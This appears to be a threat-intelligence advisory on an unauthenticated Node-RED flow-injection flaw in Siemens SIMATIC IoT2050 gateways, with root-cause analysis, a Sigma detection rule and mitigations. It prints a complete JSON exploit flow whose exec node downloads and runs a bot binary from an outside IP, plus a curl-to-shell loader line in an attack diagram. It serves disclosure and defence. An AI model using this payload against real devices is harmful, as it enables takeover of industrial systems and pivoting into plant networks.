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CVE-2026-58115: Siemens SIMATIC IoT2050 Advanced & Node-RED Unauthenticated Admin API Flow Injection RCE (VulnCheck Exploit Intelligence)

Density:
C-Level Executive Briefing CVE-2026-58115 CRITICAL SCORE 98/100

Critical maximum-severity industrial IoT vulnerability cataloged by VulnCheck Exploit Intelligence following active honeypot detection on October 30, 2026. Siemens SIMATIC IoT2050 Advanced gateways running Siemens Industrial OS ship with Node-RED pre-installed. In configurations prior to Industrial OS V4.3.4.1, the Node-RED administrative HTTP engine binds to TCP port 1880 with default authentication (adminAuth) disabled. Remote adversaries scanning IPv4 perimeters submit serialized JSON flow payloads containing native exec and inject nodes, achieving unauthenticated root-level command execution on the host operating system. Compromised edge gateways serve as initial staging platforms to deploy Linux botnet malware and pivot laterally into segregated operational technology (OT) networks controlling PLCs via Modbus TCP, Profinet, and Siemens S7 communication protocols.

HYBRID

HERMES THREAT SCORE & INDUSTRIAL OT EDGE COMPROMISE EVALUATION

Target: Siemens SIMATIC IoT2050 Advanced & Node-RED Admin HTTP API
Confidence: 99%
98 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 20 / 20
Weaponization 20 / 20
Exposure 19 / 20
Prevalence 18 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-58115: Siemens SIMATIC IoT2050 Advanced & Node-RED Unauthenticated Admin API Flow Injection RCE (VulnCheck Exploit Intelligence)VULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTSiemens SIMATIC IoT2050 (Node-RED)
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Siemens SIMATIC IoT2050 (Node-RED) documented in Hermes dossier.”

Supporting Verified Evidence:

The Siemens SIMATIC IoT2050 Advanced (6ES7647-0BA00-1YA2) is an industrial edge gateway designed to collect, pre-process, and transfer telemetry between physical plant assets and cloud data platforms. The device operates Siemens Industrial OS (a Debian-based Linux distribution tailored for industrial automation) and comes bundled with the Node-RED low-code execution runtime.

The root cause of CVE-2026-58115 lies in missing authentication for critical administrative functions (CWE-306). In default installations prior to Industrial OS V4.3.4.1:

  1. Node-REDโ€™s core configuration file (/etc/node-red/settings.js or ~/.node-red/settings.js) omits the adminAuth configuration object.
  2. The Node-RED Express HTTP management server binds to all available network interfaces (0.0.0.0:1880).
  3. The administrative REST endpoints (/flows, /nodes, /flow) accept unauthenticated HTTP requests, allowing any remote client to query, deploy, start, or delete arbitrary execution flows.
// settings.js - Vulnerable Default Configuration
module.exports = {
uiPort: process.env.PORT || 1880,
uiHost: "0.0.0.0",
// adminAuth is commented out or missing entirely:
// adminAuth: {
// type: "credentials",
// users: [{ username: "admin", password: "...", permissions: "*" }]
// },
functionGlobalContext: {
// Unrestricted module injection
}
}

Because Node-RED incorporates core nodes specifically engineered for system automationโ€”most notably the built-in node-red/exec nodeโ€”unauthenticated access to the flow deployment API allows adversaries to execute arbitrary shell commands within the security context of the user running Node-RED (often root or node-red with passwordless sudo privileges on industrial distributions).


The exploitation workflow observed by VulnCheck threat intelligence honeypots demonstrates complete automation from reconnaissance to payload execution:

sequenceDiagram
autonumber
participant Attacker as Adversary / Scanning Canary
participant Gateway as Siemens SIMATIC IoT2050 (Port 1880)
participant Engine as Node-RED Flow Runtime
participant OS as Linux Industrial OS (Kernel)
participant OT as Industrial Field Network (PLCs)
Attacker->>Gateway: GET /settings (Probe Node-RED instance & auth state)
Gateway-->>Attacker: 200 OK (adminAuth: false / auth disabled)
Attacker->>Gateway: POST /flows (JSON payload with inject + exec nodes)
Note over Gateway,Engine: Node-RED commits and starts new flow topology
Engine->>OS: /bin/sh -c "curl -s http://c2.host/ldr.sh | sh"
OS-->>Engine: Command output & returncode
OS->>Attacker: Outbound C2 beacon (Botnet registration)
Attacker->>OS: Lateral pivot command
OS->>OT: Modbus / S7comm scans toward internal PLCs

Adversaries post an HTTP POST request with Content-Type: application/json to http://<target-ip>:1880/flows. The JSON array contains a simple directed graph coupling a scheduled trigger node (inject) directly into a system command execution node (exec):

[
{
"id": "exploit-tab",
"type": "tab",
"label": "System Diagnostic",
"disabled": false,
"info": ""
},
{
"id": "trigger-now",
"type": "inject",
"z": "exploit-tab",
"name": "AutoExec",
"props": [{ "p": "payload" }],
"repeat": "",
"crontab": "",
"once": true,
"onceDelay": 0.1,
"topic": "",
"payload": "",
"payloadType": "date",
"x": 120,
"y": 100,
"wires": [["exec-payload"]]
},
{
"id": "exec-payload",
"type": "exec",
"z": "exploit-tab",
"command": "/bin/sh -c 'curl -fsSL http://194.38.20.14/bins/arm64 -o /tmp/.iot_bot && chmod +x /tmp/.iot_bot && /tmp/.iot_bot'",
"addpay": "",
"append": "",
"useSpawn": "false",
"timer": "",
"winpty": false,
"oldrc": false,
"name": "ServiceSync",
"x": 340,
"y": 100,
"wires": [[], [], []]
}
]

Setting "once": true ensures that the moment Node-RED compiles the flow in memory, the inject node triggers immediately, spawning the exec process without requiring manual UI intervention.


title: Siemens SIMATIC IoT2050 Unauthenticated Node-RED Flow RCE
id: 58115e8e-9021-4f3b-8219-c0de18805811
status: experimental
description: Detects unauthenticated POST requests to Node-RED /flows deploying execution nodes or shell spawn events on industrial IoT systems.
author: Hermes Codex Cyber Defense Team
date: 2026-11-03
references:
- https://vulncheck.com/blog/exploitation-targeting-node-red
- https://nvd.nist.gov/vuln/detail/CVE-2026-58115
logsource:
category: webserver
product: node-red
detection:
selection_endpoint:
cs-method: 'POST'
cs-uri-stem|endswith:
- '/flows'
- '/flow'
selection_payload:
c-body|contains:
- '"type":"exec"'
- '"type": "exec"'
- 'command'
filter_auth:
cs-header-authorization|startswith: 'Bearer '
condition: selection_endpoint and selection_payload and not filter_auth
fields:
- c-ip
- cs-method
- cs-uri-stem
- c-body
falsepositives:
- Legitimate local automation scripts deployed via loopback without tokens during staging
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1059.004

  1. Update Siemens Industrial OS to V4.3.4.1: Apply the official vendor firmware and software update for Siemens SIMATIC IoT2050 Advanced (6ES7647-0BA00-1YA2) which enforces mandatory authentication on all bundled Node-RED services.
  2. Enable and Configure adminAuth in settings.js: Ensure the adminAuth configuration is activated with strong password hashes generated via node-red-admin hash-pw:
    adminAuth: {
    type: "credentials",
    users: [{
    username: "sec-admin",
    password: "$2b$08$zE7G...[bcrypt_hash]...",
    permissions: "*"
    }]
    }
  3. Bind Node-RED to Localhost: Prevent external network exposure by explicitly configuring uiHost: "127.0.0.1" in settings.js unless accessed through a hardened reverse proxy enforcing mTLS.
  4. Isolate Industrial IoT Gateways: Enforce strict firewall rules blocking ingress traffic on TCP port 1880 from untrusted networks, and isolate SIMATIC gateways in a dedicated DMZ segregated from both corporate LAN and PLC field networks.